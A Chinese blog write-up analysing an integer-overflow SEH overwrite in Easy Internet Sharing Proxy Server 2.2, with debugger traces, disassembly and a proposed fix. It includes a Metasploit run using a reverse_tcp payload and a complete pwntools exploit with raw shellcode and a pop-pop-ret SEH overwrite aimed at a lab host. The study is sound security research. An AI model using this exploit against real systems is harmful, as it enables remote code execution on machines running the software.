EPS2.2 整数溢出漏洞分析到利用pwntools进行漏洞利用

来源:互联网 发布:清除僵尸粉软件 编辑:程序博客网 时间:2024/05/18 03:55

简介

软件全称:Easy Internet Sharing Proxy Server 2.2

因为有整数溢出,导致复制长度过长,覆盖SEH,导致任意代码执行

分析来源:https://www.exploit-db.com/exploits/40760/

因为k0shl在i春秋讲这个,我也实践一下

实验环境

Windows 7 Sp1 32位
metasploit
EPS 2.2
windbg
IDA
mona

漏洞分析

首先我们的exp来源于exploitdb,我的话要改一下开头的类名称为Metasploit3才能用

我们直接上metasploit,由于我们用的是win7,所以我们target就默认让它是win10,故意让它崩掉

还有你会发现默认使用的payload是windows/meterpreter/reverse_tcp

msf > use exploit/windows/proxy/eps msf exploit(eps) > set RHOST "192.168.253.157"RHOST => 192.168.253.157............msf exploit(eps) > show options Module options (exploit/windows/proxy/eps):   Name   Current Setting  Required  Description   ----   ---------------  --------  -----------   RHOST  192.168.253.157  yes       The target address   RPORT  1080             yes       The target portExploit target:   Id  Name   --  ----   0   Windows 10 32bitmsf exploit(eps) > exploit [*] Started reverse handler on 192.168.253.164:4444 [+] Building Windows 10 Rop Chain[+] Building Exploit...[+] Sending exploit...[+] Exploit Sent...

看看崩溃信息,ecx的值非常大,edi所指向的地址是没有任何权限的,所以导致了异常

0:033> g(138.a74): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=ffffff90 ebx=00000000 ecx=3fffeec4 edx=00344060 esi=0438e002 edi=04390000eip=0043973d esp=04387c1c ebp=ffffff90 iopl=0         ov up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010a06*** WARNING: Unable to verify checksum for C:\EFS Software\Easy Internet Sharing Proxy Server\easyproxy.exe*** ERROR: Module load completed but symbols could not be loaded for C:\EFS Software\Easy Internet Sharing Proxy Server\easyproxy.exeeasyproxy+0x3973d:0043973d f3a5            rep movs dword ptr es:[edi],dword ptr [esi]0:017> kvChildEBP RetAddr  Args to Child              WARNING: Stack unwind information not available. Following frames may be wrong.04387c18 00000000 00000000 0438ff94 00000244 easyproxy+0x3973d0:017> !address ediFailed to map Heaps (error 80004005)Usage:                  StackAllocation Base:        04390000Base Address:           04390000End Address:            04486000Region Size:            000f6000Type:                   00020000    MEM_PRIVATEState:                  00002000    MEM_RESERVEProtect:                00000000    More info:              ~18k

我们在ida定位一下崩溃的伪代码

v39 = v236;v40 = v236;v41 = (unsigned int)v236 >> 2;qmemcpy(&v240, v237, 4 * v41);

也看看汇编吧

.text:00439720                 movsx   ebp, [esp+8370h+var_640B].text:00439728                 mov     ecx, ebp.text:0043972A                 lea     esi, [esp+8370h+var_640A].text:00439731                 mov     eax, ecx.text:00439733                 lea     edi, [esp+8370h+var_440C].text:0043973A                 shr     ecx, 2.text:0043973D                 rep movsd

ecx来源于[esp+8370h+var_640B],那我们在00439720下断点

我们下面可以看到这里有个带符号扩展的mov指令,movsx,这是将90扩展成dword

由于0x90的最高位是1啊,那扩展后的前3个字节的二进制位都是1,即结果是0xFFFFFF90,不信看下面

>>> bin(0x90)'0b10010000'
0:033> gBreakpoint 0 hiteax=00000490 ebx=00000000 ecx=00000000 edx=00214060 esi=0021448a edi=04349f8eeip=00439720 esp=04347c1c ebp=0000040e iopl=0         nv up ei ng nz ac po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000292easyproxy+0x39720:00439720 0fbeac24651f0000 movsx   ebp,byte ptr [esp+1F65h]  ss:0023:04349b81=900:017> peax=00000490 ebx=00000000 ecx=00000000 edx=00214060 esi=0021448a edi=04349f8eeip=00439728 esp=04347c1c ebp=ffffff90 iopl=0         nv up ei ng nz ac po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000292easyproxy+0x39728:00439728 8bcd            mov     ecx,ebp

我们看到复制大小3fffffe4 ,而目的地址申请的大小为

0x04350000 - 0x04347000= 0x9000

这样就会复制到不可写的内存(超越了栈顶)

0:017> peax=ffffff90 ebx=00000000 ecx=3fffffe4 edx=00214060 esi=04349b82 edi=0434bb80eip=0043973d esp=04347c1c ebp=ffffff90 iopl=0         ov up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000a06easyproxy+0x3973d:0043973d f3a5            rep movs dword ptr es:[edi],dword ptr [esi]0:017> !address ediFailed to map Heaps (error 80004005)Usage:                  StackAllocation Base:        04250000Base Address:           04347000End Address:            04350000Region Size:            00009000Type:                   00020000    MEM_PRIVATEState:                  00001000    MEM_COMMITProtect:                00000004    PAGE_READWRITE

movsx的C语言怎么表达

那么对于的C语言或者说是C++代码是怎样的呢

17:       char a = 0x90;00401028 C6 45 F4 90          mov         byte ptr [ebp-0Ch],90h18:19:       int b = (int) a;0040102C 0F BE 45 F4          movsx       eax,byte ptr [ebp-0Ch]

可以看到是将字符型转化为整型可以这样

漏洞利用

我们抓包看看metasploit发送了什么

00000000  90 90 03 fb 43 00 03 fb  43 00 03 fb 43 00 03 fb   ....C... C...C...00000010  43 00 03 fb 43 00 de f1  47 00 10 92 48 00 ec a4   C...C... G...H...00000020  45 00 6e 27 45 00 41 41  41 41 30 8d 43 00 41 41   E.n'E.AA AA0.C.AA00000030  41 41 41 41 41 41 41 41  41 41 41 41 41 41 eb 68   AAAAAAAA AAAAAA.h00000040  47 00 b0 76 46 00 41 41  41 41 71 77 41 00 38 bf   G..vF.AA AAqwA.8.00000050  46 00 01 00 00 00 77 14  48 00 00 10 00 00 ec a4   F.....w. H.......00000060  45 00 6e 27 45 00 01 00  00 00 98 80 48 00 41 41   E.n'E... ....H.AA00000070  41 41 41 41 41 41 41 41  41 41 41 41 41 41 40 00   AAAAAAAA AAAAAA@.00000080  00 00 38 ca 44 00 03 fb  43 00 59 45 45 00 90 90   ..8.D... C.YEE...00000090  90 90 0f d3 47 00 4e 9b  4e 92 fc 42 f5 fc 42 fd   ....G.N. N..B..B.............

我们再看看metasploit,win10利用代码发送的数据啊
那我们完全有理由相信,触发漏洞的90出自于开头的90的其中一个

sploit = "\x90" *2sploit << rop_gadgetssploit << payload.encodedsploit << make_nops(target['Nops'])sploit << rand_text_alpha(target['Offset'] - payload.encoded.length)sploit << generate_seh_record(target.ret)print_good('Sending exploit...')sock.put(sploit)

我们上pwntools,自己搞一下(payload是mona生成的定位字符)

from pwn import *p = remote("192.168.253.157", 1080)payload  = "Aa0Aa1Aa2A....."p.sendline(payload)p.interactive()

发送,我们看到这时movsx ebp,byte ptr [esp+1F65h]
中[esp+1F65h]的值是61(即’a’),这样看不出是哪个位置的小a的值

那我们将payload改一下

payload = "ABCDEFGH...."

那从下面我们看到只要发送的第二个字符的二进制位的最高位为1即可触发漏洞

0:033> gBreakpoint 0 hiteax=00000341 ebx=00000000 ecx=00000000 edx=00794090 esi=0079449d edi=04459f71eip=00439720 esp=04457c1c ebp=000003f1 iopl=0         nv up ei pl nz ac po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212easyproxy+0x39720:00439720 0fbeac24651f0000 movsx   ebp,byte ptr [esp+1F65h]  ss:0023:04459b81=42

比如我们payload是:

payload = "A\xffCD

那么就会下面这样

0:033> gBreakpoint 0 hiteax=00000341 ebx=00000000 ecx=00000000 edx=00324060 esi=0032446d edi=04379f71eip=00439720 esp=04377c1c ebp=000003f1 iopl=0         nv up ei pl nz ac po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212easyproxy+0x39720:00439720 0fbeac24651f0000 movsx   ebp,byte ptr [esp+1F65h]  ss:0023:04379b81=ff0:017> peax=00000341 ebx=00000000 ecx=00000000 edx=00324060 esi=0032446d edi=04379f71eip=00439728 esp=04377c1c ebp=ffffffff iopl=0         nv up ei pl nz ac po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212easyproxy+0x39728:00439728 8bcd            mov     ecx,ebp

不包括前两个字符,我们定位到SEH位置为1032,NEXT SEH就是1028咯

我们看看当我们执行到我们覆盖的SEH的指令时的栈情况
我们可以注意到03e7ff80就是NEXT SEH的位置

0:017> dd esp03e77834  76f165f9 03e7791c 03e7ff80 03e7793803e77844  03e778f0 03e7ff80 76f1660d 03e7ff8003e77854  03e77904 76f165cb 03e7791c 03e7ff8003e77864  03e77938 03e778f0 00404bbc 0000000003e77874  03e7791c 03e7ff80 76ef8d3d 03e7791c03e77884  03e7ff80 03e77938 03e778f0 00404bbc03e77894  03e80000 03e7791c 03e7e002 0000000003e778a4  00000000 00000000 00000000 00000000

Windows7一般默认只是Windows软件和服务才开了DEP,所以我们不用绕过DEP,exploitdb的作者在Windows7是使用了绕过dep的方法,seh覆盖成了0043ad38这个地址

0043ad38 81c460830000    add     esp,8360h0043ad3e c20400          ret     4

但这里没开DEP,这里直接覆盖SEH为pop pop ret,
由于后面的栈地址不够了,所以我们的Shellcode要放在前面

最终exp:

from pwn import *p = remote("192.168.253.157", 1080)shellcode = "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8\x5f\xff\xff\xff\x68\x6e\x63\x68\x58\x68\x74\x62\x72\x61\x68\x67\x69\x61\x6e\x31\xdb\x88\x5c\x24\x0b\x89\xe3\x68\x6e\x63\x68\x58\x68\x74\x62\x72\x61\x68\x67\x69\x61\x6e\x31\xc9\x88\x4c\x24\x0b\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"pop_pop_ret = 0x00404BBCpayload  = "\xff\xff" + '\x90' *(1028-len(shellcode)-5) + shellcode + "\xe9\xf0\xfe\xff\xff" + "\xeb\xf9\x90\x90" + p32(pop_pop_ret) # print len(shellcode)p.sendline(payload)p.interactive()

执行效果:

这里写图片描述

漏洞修复

应该要将char转化为int时,跟0xff与一下,这是个人看法,不知道大牛们是怎么修复的呢

int b = (int) a & 0xff;

当然也可以先装化为byte,再赋值给int

17:       char a = 0x90;00401028 C6 45 FC 90          mov         byte ptr [ebp-4],90h18:19:       byte c = (byte) a;0040102C 8A 45 FC             mov         al,byte ptr [ebp-4]0040102F 88 45 F4             mov         byte ptr [ebp-0Ch],al20:21:       int b = (int) c;00401032 8B 4D F4             mov         ecx,dword ptr [ebp-0Ch]00401035 81 E1 FF 00 00 00    and         ecx,0FFh0040103B 89 4D F8             mov         dword ptr [ebp-8],ecx

漏洞总结

由于eps软件应该是使用了将char强制转化为int,而且将这个int参数传入qmemcpy的第3个参数,而qmemcpy会把它当做无符号数对待,导致最后复制长度过程,超越的栈顶,使攻击者可以覆盖SEH,导致任意代码执行漏洞

0 0
原创粉丝点击